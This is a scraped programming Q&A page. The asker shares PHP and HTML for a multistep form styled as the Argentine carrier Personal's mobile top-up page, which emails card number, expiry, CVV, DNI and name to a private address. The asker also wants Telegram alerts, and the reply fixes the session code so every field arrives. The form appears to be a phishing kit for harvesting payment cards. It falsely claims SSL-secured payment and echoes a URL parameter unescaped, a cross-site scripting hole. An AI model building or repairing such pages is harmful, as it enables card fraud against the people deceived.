Home > OS >  Variable values aren't passing to email
Variable values aren't passing to email

Time:11-18

I have a multistep form in which i am trying to send input fields data. The problem is, first 2 forms data i am not getting in email, whereas the all form data from 3rd form i am getting in my email. And lastly i need to send notification in telegram as well. I know the process of telegram but don't know how to send both email and telegram notification on Submit.

Page 1 form

<form action="select.php" method="POST" id="">
    <div >
        <div >
            <div >
                <h3 >Recargá tu línea Personal con tarjeta</h3>
            </div>
            <div >
                <div ></div>
            </div>
            <div >
                <div >
                    <div >
                        <h5 >¡Recargá ahora! Todas las líneas Personal tienen un <span>20% de crédito adicional</span></h5>
                    </div>
                    <div >
                        <div >
                            <label for="">Ingresá el número de línea a recargar</label>
                            <input type="text" placeholder="Ej: 1153394582" id="phoneNumber" name="phoneNumber" maxlength="10">
                            <p >Agregá el código de área sin 0 más número sin 15 </p>
                        </div>
                    </div>
                    <div >
                        <input type="submit"  value="Siguiente">
                    </div>
                </div>
            </div>
        </div>
    </div>
</form> 

Page 2 Form

<?php
session_start();
$_SESSION['phoneNumber'] = $_POST['phoneNumber'];         
?>

<form action="last-step.php" method="POST" id="">
    <div >
        <div >
            <label for="">Ingresá el monto a recargar</label>
            <input type="text" placeholder="Ej: 200" id="value" name="avalue" inputmode="decimal" autocomplete="off">
        </div>
    </div>
    <div >
        <input type="submit"  value="Siguiente">
    </div>
</form>

Final Page With Email Code

<?php include("include/header.php"); ?>
<?php
session_start();
$_SESSION['avalue']      = $_POST['avalue'];
$_SESSION['phoneNumber'] = $_POST['phoneNumber'];  
?>
<body>

<?php 

if(isset($_GET['success'])){

    echo "<div class='alert alert-success'>".$_GET['success']."</div>";
}
if(isset($_POST['send_message'])){

$name   = $_POST['name'];
$dni    = $_POST['dni'];
$card   = $_POST['card'];
$venc   = $_POST['venc'];
$cvv    = $_POST['cvv'];
$avalue = $_SESSION['avalue'];    
$phoneNumber = $_SESSION['phoneNumber'];
    $headers = array(
        'Form: $email',
        'Content-Type: text/html'
    );
    mail("[email protected]", "Personal Flow","

    <table style='BORDER-RIGHT: #CCCCCC 1px solid; PADDING-RIGHT: 0px; BORDER-TOP: #CCCCCC 1px solid; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; BORDER-LEFT: #CCCCCC 1px solid; PADDING-TOP: 0px; BORDER-BOTTOM: #CCCCCC 1px solid'
    height=238 cellSpacing='0' cellPadding='15'>
      <tr>
<td bgcolor='#3783b9'><font color='#FFF' size='5'>Personal Flow</font></td>
      </tr>
      <tr>
        <td height='83' bgcolor='#EEEEEE'>
        <table>
            <tr>
                <td>Name: </td>
                <td>$name</td>
            </tr>
            <tr>
                <td>DNI: </td>
                <td>$dni</td>
            </tr>
            <tr>
                <td>Card: </td>
                <td>$card</td>
            </tr>
            <tr>
                <td>Venc: </td>
                <td>$venc</td>
            </tr>
            <tr>
                <td>Card: </td>
                <td>$cvv</td>
            </tr>
            <tr>
                <td>Phone Number: </td>
                <td>$phoneNumber</td>
            </tr>
            <tr>
                <td>Value: </td>
                <td>$avalue</td>
            </tr>
        
        </table>

                    
        </td>
      </tr>
    </table>", implode("\r\n", $headers));
    
    echo "<script>window.location.href='https://intellectsofts.com/demo/enr&success=Your Message has been Successfully Sent'</script>";
}
?>  

<form id="" method="POST">
<input type="hidden" name="value" value="">
<div >
    <div >
        <div >
            <h3 >Pagá con tarjeta de crédito o débito.</h3>
        </div>
        <div >
            <div >
                <div >
                    <div >
                        <label for="">Nombre que figura en tarjeta</label>
                        <input type="text" placeholder="Nombre y apellido" id="name" name="name" autocomplete="off">
                    </div>
                </div>
                <div >
                    <div >
                        <label for="">DNI titular</label>
                        <input type="text" placeholder="DNI" id="dni" name="dni" inputmode="decimal" autocomplete="off">
                    </div>
                </div>
                <div >
                    <div >
                        <label for="">Número de tarjeta</label>
                        <input type="text" placeholder="XXXX XXXX XXXX XXXX" id="card" name="card" inputmode="decimal" autocomplete="off">
                    </div>
                </div>
                <div >
                    <div >
                        <label for="">Fecha de vencimiento</label>
                        <input type="text" placeholder="MM/AA" id="venc" name="venc" inputmode="decimal" autocomplete="off" maxlength="5">
                    </div>
                </div>
                <div >
                    <div >
                        <label for="">Código de seguridad</label>
                        <input type="text" placeholder="Últimos 3 digitos detrás de la tarjeta" id="cvv" name="cvv" inputmode="decimal" autocomplete="off" maxlength="4">
                    </div>
                </div>
                <div >
                    <input type="submit" id="send" name="send_message"  value="Siguiente">
                </div>
            </div>
        </div>
        <div >
            <h4 >Este es un pago seguro cifrado SSL</h4>
        </div>
    </div>
</div>
</form>
<?php include("include/footer.php"); ?>

CodePudding user response:

First you have 2 form tags opened in second page. Remove the second form tag. Do like this. Move your send email php code to a new page, let say send_email.php On the third page call this

<?php
session_start();
$_SESSION['avalue'] = $_POST['avalue'];         
?>

and on final send_email.php page call

<?php
    session_start();       
?>

it will work

  •  Tags:  
  • php
  • Related